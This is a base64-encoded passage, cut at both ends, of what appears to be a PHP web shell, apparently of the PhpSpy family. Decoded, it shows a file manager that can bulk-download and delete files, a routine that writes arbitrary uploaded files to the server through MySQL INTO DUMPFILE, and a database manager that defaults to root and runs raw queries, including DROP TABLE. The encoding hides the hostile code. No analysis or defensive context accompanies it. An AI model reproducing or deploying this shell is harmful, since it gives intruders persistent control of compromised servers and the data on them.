XCcpOyI+VGltZTwvYT4nKTsgDQogICAgICAgICAgICBwKCc8L3RkPjwvdHI+Jyk7IA0KICAgICAgICAgICAgJGZpbGVfaSsrOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIHAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBhbGlnbj0iY2VudGVyIj48aW5wdXQgbmFtZT0iY2hrYWxsIiB2YWx1ZT0ib24iIHR5cGU9ImNoZWNrYm94IiBvbmNsaWNrPSJDaGVja0FsbCh0aGlzLmZvcm0pIiAvPjwvdGQ+PHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6ZG9maWxlKFwnZG93bnJhclwnKTsiPlBhY2tpbmcgZG93bmxvYWQgc2VsZWN0ZWQ8L2E+IC0gPGEgaHJlZj0iamF2YXNjcmlwdDpkb2ZpbGUoXCdkZWxmaWxlc1wnKTsiPkRlbGV0ZSBzZWxlY3RlZDwvYT48L3RkPjx0ZCBjb2xzcGFuPSI0IiBhbGlnbj0icmlnaHQiPicuJGRpcl9pLicgZGlyZWN0b3JpZXMgLyAnLiRmaWxlX2kuJyBmaWxlczwvdGQ+PC90cj4nKTsgDQogICAgcCgnPC9mb3JtPjwvdGFibGU+Jyk7IA0KfS8vIGVuZCBkaXIgDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsZmlsZScpIHsgDQogICAgaWYoJGRvaW5nPT0ibXlzcWx1cGxvYWQiKXsgDQogICAgICAgICRmaWxlID0gJF9GSUxFU1sndXBsb2FkZmlsZSddOyANCiAgICAgICAgJGZpbGVuYW1lID0gJGZpbGVbJ3RtcF9uYW1lJ107IA0KICAgICAgICBpZiAoZmlsZV9leGlzdHMoJHNhdmVwYXRoKSkgeyANCiAgICAgICAgICAgIG0oJ1RoZSBnb2FsIGZpbGUgaGFzIGFscmVhZHkgZXhpc3RlZCcpOyANCiAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICBpZighJGZpbGVuYW1lKSB7IA0KICAgICAgICAgICAgICAgIG0oJ1BsZWFzZSBjaG9vc2UgYSBmaWxlJyk7IA0KICAgICAgICAgICAgfSBlbHNlIHsgDQogICAgICAgICAgICAgICAgJGZwPUBmb3BlbigkZmlsZW5hbWUsJ3InKTsgDQogICAgICAgICAgICAgICAgJGNvbnRlbnRzPUBmcmVhZCgkZnAsIGZpbGVzaXplKCRmaWxlbmFtZSkpOyANCiAgICAgICAgICAgICAgICBAZmNsb3NlKCRmcCk7IA0KICAgICAgICAgICAgICAgICRjb250ZW50cyA9IGJpbjJoZXgoJGNvbnRlbnRzKTsgDQogICAgICAgICAgICAgICAgaWYoISR1cG5hbWUpICR1cG5hbWUgPSAkZmlsZVsnbmFtZSddOyANCiAgICAgICAgICAgICAgICBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsgDQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoIlNFTEVDVCAweHskY29udGVudHN9IEZST00gbXlzcWwudXNlciBJTlRPIERVTVBGSUxFICckc2F2ZXBhdGgnOyIpOyANCiAgICAgICAgICAgICAgICBtKCRyZXN1bHQgPyAnVXBsb2FkIHN1Y2Nlc3MnIDogJ1VwbG9hZCBoYXMgZmFpbGVkOiAnLm15c3FsX2Vycm9yKCkpOyANCiAgICAgICAgICAgIH0gDQogICAgICAgIH0gDQogICAgfSANCj8+IA0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCmZ1bmN0aW9uIG15c3FsZmlsZShkb2luZyl7IA0KICAgIGlmKCFkb2luZykgcmV0dXJuOyANCiAgICAkKCdkb2luZycpLnZhbHVlPWRvaW5nOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYmhvc3QudmFsdWU9JCgnZGJpbmZvJykuZGJob3N0LnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnBvcnQudmFsdWU9JCgnZGJpbmZvJykuZGJwb3J0LnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnVzZXIudmFsdWU9JCgnZGJpbmZvJykuZGJ1c2VyLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYnBhc3MudmFsdWU9JCgnZGJpbmZvJykuZGJwYXNzLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5kYm5hbWUudmFsdWU9JCgnZGJpbmZvJykuZGJuYW1lLnZhbHVlOyANCiAgICAkKCdteXNxbGZpbGUnKS5jaGFyc2V0LnZhbHVlPSQoJ2RiaW5mbycpLmNoYXJzZXQudmFsdWU7IA0KICAgICQoJ215c3FsZmlsZScpLnN1Ym1pdCgpOyANCn0gDQo8L3NjcmlwdD4gDQo8P3BocCANCiAgICAhJGRiaG9zdCAmJiAkZGJob3N0ID0gJ2xvY2FsaG9zdCc7IA0KICAgICEkZGJ1c2VyICYmICRkYnVzZXIgPSAncm9vdCc7IA0KICAgICEkZGJwb3J0ICYmICRkYnBvcnQgPSAnMzMwNic7IA0KICAgICRjaGFyc2V0cyA9IGFycmF5KCcnPT4nRGVmYXVsdCcsJ2diayc9PidHQksnLCAnYmlnNSc9PidCaWc1JywgJ3V0ZjgnPT4nVVRGLTgnLCAnbGF0aW4xJz0+J0xhdGluMScpOyANCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgSW5mb3JtYXRpb24nLCduYW1lJz0+J2RiaW5mbycpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsgDQogICAgcCgnPHA+Jyk7IA0KICAgIHAoJ0RCSG9zdDonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RiaG9zdCcsJ3NpemUnPT4yMCwndmFsdWUnPT4kZGJob3N0KSk7IA0KICAgIHAoJzonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicG9ydCcsJ3NpemUnPT40LCd2YWx1ZSc9PiRkYnBvcnQpKTsgDQogICAgcCgnREJVc2VyOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJ1c2VyJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnVzZXIpKTsgDQogICAgcCgnREJQYXNzOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJwYXNzJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYnBhc3MpKTsgDQogICAgcCgnREJOYW1lOicpOyANCiAgICBtYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4nZGJuYW1lJywnc2l6ZSc9PjE1LCd2YWx1ZSc9PiRkYm5hbWUpKTsgDQogICAgcCgnREJDaGFyc2V0OicpOyANCiAgICBtYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J2NoYXJzZXQnLCdvcHRpb24nPT4kY2hhcnNldHMsJ3NlbGVjdGVkJz0+JGNoYXJzZXQpKTsgDQogICAgcCgnPC9wPicpOyANCiAgICBmb3JtZm9vdCgpOyANCiAgICBwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBuYW1lPSJteXNxbGZpbGUiIGlkPSJteXNxbGZpbGUiPicpOyANCiAgICBwKCc8aDI+VXBsb2FkIGZpbGU8L2gyPicpOyANCiAgICBwKCc8cD48Yj5UaGlzIG9wZXJhdGlvbiB0aGUgREIgdXNlciBtdXN0IGhhcyBGSUxFIHByaXZpbGVnZTwvYj48L3A+Jyk7IA0KICAgIHAoJzxwPlNhdmUgcGF0aChmdWxscGF0aCk6IDxpbnB1dCBjbGFzcz0iaW5wdXQiIG5hbWU9InNhdmVwYXRoIiBzaXplPSI0NSIgdHlwZT0idGV4dCIgLz4gQ2hvb3NlIGEgZmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0idXBsb2FkZmlsZSIgdHlwZT0iZmlsZSIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbHVwbG9hZFwnKTsiPlVwbG9hZDwvYT48L3A+Jyk7IA0KICAgIHAoJzxoMj5Eb3dubG9hZCBmaWxlPC9oMj4nKTsgDQogICAgcCgnPHA+RmlsZTogPGlucHV0IGNsYXNzPSJpbnB1dCIgbmFtZT0ibXlzcWxkbGZpbGUiIHNpemU9IjExNSIgdHlwZT0idGV4dCIgLz4gPGEgaHJlZj0iamF2YXNjcmlwdDpteXNxbGZpbGUoXCdteXNxbGRvd25cJyk7Ij5Eb3dubG9hZDwvYT48L3A+Jyk7IA0KICAgIG1ha2VoaWRlKCdkYmhvc3QnKTsgDQogICAgbWFrZWhpZGUoJ2RicG9ydCcpOyANCiAgICBtYWtlaGlkZSgnZGJ1c2VyJyk7IA0KICAgIG1ha2VoaWRlKCdkYnBhc3MnKTsgDQogICAgbWFrZWhpZGUoJ2RibmFtZScpOyANCiAgICBtYWtlaGlkZSgnY2hhcnNldCcpOyANCiAgICBtYWtlaGlkZSgnZG9pbmcnKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGZpbGUnKTsgDQogICAgcCgnPC9mb3JtPicpOyANCn0gDQoNCmVsc2VpZiAoJGFjdGlvbiA9PSAnc3FsYWRtaW4nKSB7IA0KICAgICEkZGJob3N0ICYmICRkYmhvc3QgPSAnbG9jYWxob3N0JzsgDQogICAgISRkYnVzZXIgJiYgJGRidXNlciA9ICdyb290JzsgDQogICAgISRkYnBvcnQgJiYgJGRicG9ydCA9ICczMzA2JzsgDQogICAgJGRiZm9ybSA9ICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBpZD0iY29ubmVjdCIgbmFtZT0iY29ubmVjdCIgdmFsdWU9IjEiIC8+JzsgDQogICAgaWYoaXNzZXQoJGRiaG9zdCkpeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRiaG9zdFwiIG5hbWU9XCJkYmhvc3RcIiB2YWx1ZT1cIiRkYmhvc3RcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJ1c2VyKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRidXNlclwiIG5hbWU9XCJkYnVzZXJcIiB2YWx1ZT1cIiRkYnVzZXJcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJwYXNzKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicGFzc1wiIG5hbWU9XCJkYnBhc3NcIiB2YWx1ZT1cIiRkYnBhc3NcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJwb3J0KSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRicG9ydFwiIG5hbWU9XCJkYnBvcnRcIiB2YWx1ZT1cIiRkYnBvcnRcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkZGJuYW1lKSkgeyANCiAgICAgICAgJGRiZm9ybSAuPSAiPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBpZD1cImRibmFtZVwiIG5hbWU9XCJkYm5hbWVcIiB2YWx1ZT1cIiRkYm5hbWVcIiAvPlxuIjsgDQogICAgfSANCiAgICBpZihpc3NldCgkY2hhcnNldCkpIHsgDQogICAgICAgICRkYmZvcm0gLj0gIjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgaWQ9XCJjaGFyc2V0XCIgbmFtZT1cImNoYXJzZXRcIiB2YWx1ZT1cIiRjaGFyc2V0XCIgLz5cbiI7IA0KICAgIH0gDQoNCiAgICBpZiAoJGRvaW5nID09ICdiYWNrdXBteXNxbCcgJiYgJHNhdmVhc2ZpbGUpIHsgDQogICAgICAgIGlmICghJHRhYmxlKSB7IA0KICAgICAgICAgICAgbSgnUGxlYXNlIGNob29zZSB0aGUgdGFibGUnKTsgDQogICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7IA0KICAgICAgICAgICAgJHRhYmxlID0gYXJyYXlfZmxpcCgkdGFibGUpOyANCiAgICAgICAgICAgICRmcCA9IEBmb3BlbigkcGF0aCwndycpOyANCiAgICAgICAgICAgIGlmICgkZnApIHsgDQogICAgICAgICAgICAgICAgJHJlc3VsdCA9IHEoJ1NIT1cgdGFibGVzJyk7IA0KICAgICAgICAgICAgICAgIGlmICghJHJlc3VsdCkgcCgnPGgyPicubXlzcWxfZXJyb3IoKS4nPC9oMj4nKTsgDQogICAgICAgICAgICAgICAgJG15c3FsZGF0YSA9ICcnOyANCiAgICAgICAgICAgICAgICB3aGlsZSAoJGN1cnJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7IA0KICAgICAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJHRhYmxlWyRjdXJyb3dbMF1dKSkgeyANCiAgICAgICAgICAgICAgICAgICAgICAgIHNxbGR1bXB0YWJsZSgkY3Vycm93WzBdLCAkZnApOyANCiAgICAgICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOyANCiAgICAgICAgICAgICAgICAkZmlsZXVybCA9IHN0cl9yZXBsYWNlKFNBX1JPT1QsJycsJHBhdGgpOyANCiAgICAgICAgICAgICAgICBtKCdEYXRhYmFzZSBoYXMgc3VjY2VzcyBiYWNrdXAgdG8gPGEgaHJlZj0iJy4kZmlsZXVybC4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kcGF0aC4nPC9hPicpOyANCiAgICAgICAgICAgICAgICBteXNxbF9jbG9zZSgpOyANCiAgICAgICAgICAgIH0gZWxzZSB7IA0KICAgICAgICAgICAgICAgIG0oJ0JhY2t1cCBmYWlsZWQnKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYgKCRpbnNlcnQgJiYgJGluc2VydHNxbCkgeyANCiAgICAgICAgJGtleXN0ciA9ICR2YWxzdHIgPSAkdG1wID0gJyc7IA0KICAgICAgICBmb3JlYWNoKCRpbnNlcnRzcWwgYXMgJGtleSA9PiAkdmFsKSB7IA0KICAgICAgICAgICAgaWYgKCR2YWwpIHsgDQogICAgICAgICAgICAgICAgJGtleXN0ciAuPSAkdG1wLiRrZXk7IA0KICAgICAgICAgICAgICAgICR2YWxzdHIgLj0gJHRtcC4iJyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7IA0KICAgICAgICAgICAgICAgICR0bXAgPSAnLCc7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgfSANCiAgICAgICAgaWYgKCRrZXlzdHIgJiYgJHZhbHN0cikgeyANCiAgICAgICAgICAgIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOyANCiAgICAgICAgICAgIG0ocSgiSU5TRVJUIElOVE8gJHRhYmxlbmFtZSAoJGtleXN0cikgVkFMVUVTICgkdmFsc3RyKSIpID8gJ0luc2VydCBuZXcgcmVjb3JkIG9mIHN1Y2Nlc3MnIDogbXlzcWxfZXJyb3IoKSk7IA0KICAgICAgICB9IA0KICAgIH0gDQogICAgaWYgKCR1cGRhdGUgJiYgJGluc2VydHNxbCAmJiAkYmFzZTY0KSB7IA0KICAgICAgICAkdmFsc3RyID0gJHRtcCA9ICcnOyANCiAgICAgICAgZm9yZWFjaCgkaW5zZXJ0c3FsIGFzICRrZXkgPT4gJHZhbCkgeyANCiAgICAgICAgICAgICR2YWxzdHIgLj0gJHRtcC4ka2V5LiI9JyIuYWRkc2xhc2hlcygkdmFsKS4iJyI7IA0KICAgICAgICAgICAgJHRtcCA9ICcsJzsgDQogICAgICAgIH0gDQogICAgICAgIGlmICgkdmFsc3RyKSB7IA0KICAgICAgICAgICAgJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsgDQogICAgICAgICAgICBkYmNvbm4oJGRiaG9zdCwkZGJ1c2VyLCRkYnBhc3MsJGRibmFtZSwkY2hhcnNldCwkZGJwb3J0KTsgDQogICAgICAgICAgICBtKHEoIlVQREFURSAkdGFibGVuYW1lIFNFVCAkdmFsc3RyIFdIRVJFICR3aGVyZSBMSU1JVCAxIikgPyAnUmVjb3JkIHVwZGF0aW5nJyA6IG15c3FsX2Vycm9yKCkpOyANCiAgICAgICAgfSANCiAgICB9IA0KICAgIGlmICgkZG9pbmcgPT0gJ2RlbCcgJiYgJGJhc2U2NCkgeyANCiAgICAgICAgJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsgDQogICAgICAgICRkZWxldGVfc3FsID0gIkRFTEVURSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJHdoZXJlIjsgDQogICAgICAgIGRiY29ubigkZGJob3N0LCRkYnVzZXIsJGRicGFzcywkZGJuYW1lLCRjaGFyc2V0LCRkYnBvcnQpOyANCiAgICAgICAgbShxKCJERUxFVEUgRlJPTSAkdGFibGVuYW1lIFdIRVJFICR3aGVyZSIpID8gJ0RlbGV0aW9uIHJlY29yZCBvZiBzdWNjZXNzJyA6IG15c3FsX2Vycm9yKCkpOyANCiAgICB9IA0KDQogICAgaWYgKCR0YWJsZW5hbWUgJiYgJGRvaW5nID09ICdkcm9wJykgeyANCiAgICAgICAgZGJjb25uKCRkYmhvc3QsJGRidXNlciwkZGJwYXNzLCRkYm5hbWUsJGNoYXJzZXQsJGRicG9ydCk7IA0KICAgICAgICBpZiAocSgiRFJPUCBUQUJMRSAkdGFibGVuYW1lIikpIHsgDQogICAgICAgICAgICBtKCdEcm9wIHRhYmxlIG9mIHN1Y2Nlc3MnKTsgDQogICAgICAgICAgICAkdGFibGVuYW1lID0gJyc7IA0KICAgICAgICB9IGVsc2UgeyANCiAgICAgICAgICAgIG0obXlzcWxfZXJyb3IoKSk7IA0KICAgICAgICB9IA0KICAgIH0gDQoNCiAgICAkY2hhcnNldHMgPSBhcnJheSgnJz0+J0RlZmF1bHQnLCdnYmsnPT4nR0JLJywgJ2JpZzUnPT4nQmlnNScsICd1dGY4Jz0+J1VURi04JywgJ2xhdGluMSc9PidMYXRpbjEnKTsgDQoNCiAgICBmb3JtaGVhZChhcnJheSgndGl0bGUnPT4nTVlTUUwgTWFuYWdlcicpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJzxwPicpOyANCiAgICBwKCdEQkhvc3Q6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYmhvc3QnLCdzaXplJz0+MjAsJ3ZhbHVlJz0+JGRiaG9zdCkpOyANCiAgICBwKCc6Jyk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9PidkYnBvcnQnLCdzaXplJz0+NCwndmFsdWUnPT4kZGJwb3J0KSk7IA0KICAgIHAoJ0RCVXNlcjonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RidXNlcicsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJ1c2VyKSk7IA0KICAgIHAoJ0RCUGFzczonKTsgDQogICAgbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J2RicGFzcycsJ3NpemUnPT4xNSwndmFsdWUnPT4kZGJwYXNzKSk7IA0KICAgIHAoJ0RCQ2hhcnNldDonKTsgDQogICAgbWFrZXNlbGVjdChhcnJheSgnbmFtZSc9PidjaGFyc2V0Jywnb3B0aW9uJz0+JGNoYXJzZXRzLCdzZWxlY3RlZCc9PiRjaGFyc2V0KSk7IA0KICAgIG1ha2VpbnB1dChhcnJheSgnbmFtZSc9Pidjb25uZWN0JywndmFsdWUnPT4nQ29ubmVjdCcsJ3R5cGUnPT4nc3VibWl0JywnY2xhc3MnPT4nYnQnKSk7IA0KICAgIHAoJzwvcD4nKTsgDQogICAgZm9ybWZvb3QoKTsgDQo/PiANCjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4gDQpmdW5jdGlvbiBlZGl0cmVjb3JkKGFjdGlvbiwgYmFzZTY0LCB0YWJsZW5hbWUpeyANCiAgICBpZiAoYWN0aW9uID09ICdkZWwnKSB7ICAgICAgICAgDQogICAgICAgIGlmICghY29uZmlybSgnSXMgb3IgaXNuXCd0IGRlbGV0aW9uIHJlY29yZD8nKSkgcmV0dXJuOyANCiAgICB9IA0KICAgICQoJ3JlY29yZGxpc3QnKS5kb2luZy52YWx1ZT1hY3Rpb247IA0KICAgICQoJ3JlY29yZGxpc3QnKS5iYXNlNjQudmFsdWU9YmFzZTY0OyANCiAgICAkKCdyZWNvcmRsaXN0JykudGFibGVuYW1lLnZhbHVlPXRhYmxlbmFtZTsgDQogICAgJCgncmVjb3JkbGlzdCcpLnN1Ym1pdCgpOyANCn0gDQpmdW5jdGlvbiBtb2RkYm5hbWUoZGJuYW1lKSB7IA0KICAgIGlmKCFkYm5hbWUpIHJldHVybjsgDQogICAgJCgnc2V0ZGJuYW1lJykuZGJuYW1lLnZhbHVlPWRibmFtZTsgDQogICAgJCgnc2V0ZGJuYW1lJykuc3VibWl0KCk7IA0KfSANCmZ1bmN0aW9uIHNldHRhYmxlKHRhYmxlbmFtZSxkb2luZyxwYWdlKSB7IA0KICAgIGlmKCF0YWJsZW5hbWUpIHJldHVybjsgDQogICAgaWYgKGRvaW5nKSB7IA0KICAgICAgICAkKCdzZXR0YWJsZScpLmRvaW5nLnZhbHVlPWRvaW5nOyANCiAgICB9IA0KICAgIGlmIChwYWdlKSB7IA0KICAgICAgICAkKCdzZXR0YWJsZScpLnBhZ2UudmFsdWU9cGFnZTsgDQogICAgfSANCiAgICAkKCdzZXR0YWJsZScpLnRhYmxlbmFtZS52YWx1ZT10YWJsZW5hbWU7IA0KICAgICQoJ3NldHRhYmxlJykuc3VibWl0KCk7IA0KfSANCjwvc2NyaXB0PiANCjw/cGhwIA0KICAgIC8vICAgICAgwrwgDQogICAgZm9ybWhlYWQoYXJyYXkoJ25hbWUnPT4ncmVjb3JkbGlzdCcpKTsgDQogICAgbWFrZWhpZGUoJ2RvaW5nJyk7IA0KICAgIG1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOyANCiAgICBtYWtlaGlkZSgnYmFzZTY0Jyk7IA0KICAgIG1ha2VoaWRlKCd0YWJsZW5hbWUnKTsgDQogICAgcCgkZGJmb3JtKTsgDQogICAgZm9ybWZvb3QoKTsgDQoNCiAgICAvLz8gICAgID8gIA0KICAgIGZvcm1oZWFkKGFycmF5KCduYW1lJz0+J3NldGRibmFtZScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJGRiZm9ybSk7IA0KICAgIGlmICghJGRibmFtZSkgeyANCiAgICAgICAgbWFrZWhpZGUoJ2RibmFtZScpOyANCiAgICB9IA0KICAgIGZvcm1mb290KCk7IA0KDQogICAgLy8/ICAgICANCiAgICBmb3JtaGVhZChhcnJheSgnbmFtZSc9PidzZXR0YWJsZScpKTsgDQogICAgbWFrZWhpZGUoJ2FjdGlvbicsJ3NxbGFkbWluJyk7IA0KICAgIHAoJGRiZm9ybSk7IA0KICAgIG1ha2VoaWRlKCd0YWJsZW5hbWUnKTsgDQogICAgbWFrZWhpZGUoJ3BhZ2UnLCRwYWdlKTsgDQogICAgbWFrZWhpZGUoJ2RvaW5nJyk7IA0KICAgIGZvcm1mb290KCk7IA0KDQogICAgJGNhY2hldGFibGVzID0gYXJyYXkoKTsgICAgIA0KICAgICRwYWdlbnVtID0gMzA7IA0KICAgICRwYWdlID0gaW50dmFsKCRwYWdlKTsgDQogICAgaWYoJHBhZ2UpIHsgDQogICAgICAgICRzdGFydF9saW1pdCA9ICgkcGFnZSAtIDEpICogJHBhZ2VudW07IA0KICAgIH0gZWxzZSB7IA0KICAgICAgICAkc3RhcnRfbGltaXQgPSAwOyANCiAgICAgICAgJHBhZ2UgPSAxOyANCiAgICB9IA0KICAgIGlmIChpc3NldCgkZGJob3N0KSAmJiBpc3NldCgkZGJ1c2VyKSAmJiBpc3NldCgkZGJwYXNzKSAmJiBpc3NldCgkY29ubmVjdCkpIHsgDQogICAgICAgIGRiY29ubigkZGJob3N0LCAkZGJ1c2VyLCAkZGJwYXNzLCAkZGJuYW1lLCAkY2hhcnNldCwgJGRicG9ydCk7IA0KICAgICAgICAvLyAgPyAgID8gICA/IA0KICAgICAgICAkbXlzcWx2ZXIgPSBteXNxbF9nZXRfc2VydmVyX2luZm8oKTsgDQogICAgICAgIHAoJzxwPk15U1FMICcuJG15c3FsdmVyLicgcnVubmluZyBpbiAnLiRkYmhvc3QuJyBhcyAnLiRkYnVzZXIuJ0AnLiRkYmhvc3QuJzwvcD4nKTsgDQogICAgICAgICRoaWdodmVyID0gJG15c3FsdmVyID4gJzQuMScgPyAxIDogMDsgDQoNCiAgICAgICAgLy8gID8gICA/ICANCiAgICAgICAgJHF1ZXJ5ID0gcSgiU0hPVyBEQVRBQkFTRVMiKTsgDQogICAgICAgICRkYnMgPSBhcnJheSgpOyANCiAgICAgICAgJGRic1tdID0gJy0tIFNlbGVjdCBhIGRhdGFiYXNlIC0tJzsgDQogICAgICAgIHdoaWxlKCRkYiA9IG15c3FsX2ZldGNoX2FycmF5KCRxdWVyeSkpIHsgDQogICAgICAgICAgICAkZGJzWyRkYlsnRGF0YWJhc2UnXV0gPSAkZGJbJ0RhdGFiYXNlJ107IA0KICAgICAgICB9IA0KICAgICAgICBtYWtlc2VsZWN0KGFycmF5KCd0aXRsZSc9PidQbGVhc2Ugc2VsZWN0IGEgZGF0YWJhc2U6JywnbmFtZSc9PidkYltdJywnb3B0aW9uJz0+JGRicywnc2VsZWN0ZWQnPT4kZGJuYW1lLCdvbmNoYW5nZSc9Pidtb2RkYm5hbWUodGhpcy5vcHRpb25zW3RoaXMuc2VsZWN0ZWRJbmRleF0udmFsdWUpJywnbmV3bGluZSc9PjEpKTsgDQogICAgICAgICR0YWJsZWRiID0gYXJyYXkoKTsgDQogICAgICAgIGlmICgkZGJuYW1lKSB7IA0KICAgICAgICAgICAgcCgnPHA+Jyk7IA0KICAgICAgICAgICAgcCgnQ3VycmVudCBkYWJhYmFzZTogPGEgaHJlZj0iamF2YXNjcmlwdDptb2RkYm5hbWUoXCcnLiRkYm5hbWUuJ1wnKTsiPicuJGRibmFtZS4nPC9hPicpOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lKSB7IA0KICAgICAgICAgICAgICAgIHAoJyB8IEN1cnJlbnQgVGFibGU6IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPicuJHRhYmxlbmFtZS4nPC9hPiBbIDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsgDQogICAgICAgICAgICB9IA0KICAgICAgICAgICAgcCgnPC9wPicpOyANCiAgICAgICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsgDQoNCiAgICAgICAgICAgICRnZXRudW1zcWwgPSAnJzsgDQogICAgICAgICAgICAkcnVucXVlcnkgPSAwOyANCiAgICAgICAgICAgIGlmICgkc3FsX3F1ZXJ5KSB7IA0KICAgICAgICAgICAgICAgICRydW5xdWVyeSA9IDE7IA0KICAgICAgICAgICAgfSANCiAgICAgICAgICAgICRhbGxvd2VkaXQgPSAwOyANCiAgICAgICAgICAgIGlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7IA0KICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIjsgDQogICAgICAgICAgICAgICAgJGdldG51bXNxbCA9ICRzcWxfcXVlcnk7IA0KICAgICAgICAgICAgICAgICRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7IA0KICAgICAgICAgICAgICAgICRhbGxvd2VkaXQgPSAxOyANCiAgICAgICAgICAgIH0gDQogICAgICAgICAgICBwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsgDQogICAgICAgICAgICBwKCc8cD48dGFibGUgd2lkdGg9IjIwMCIgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPjx0cj48dGQgY29sc3Bhbj0iMiI+UnVuIFNRTCBxdWVyeS9xdWVyaWVzIG9uIGRhdGFiYXNlICcuJGRibmFtZS4nOjwvdGQ+PC90cj48dHI+PHRkPjx0ZXh0YXJlYSBuYW1lPSJzcWxfcXVlcnkiIGNsYXNzPSJhcmVhIiBzdHlsZT0id2l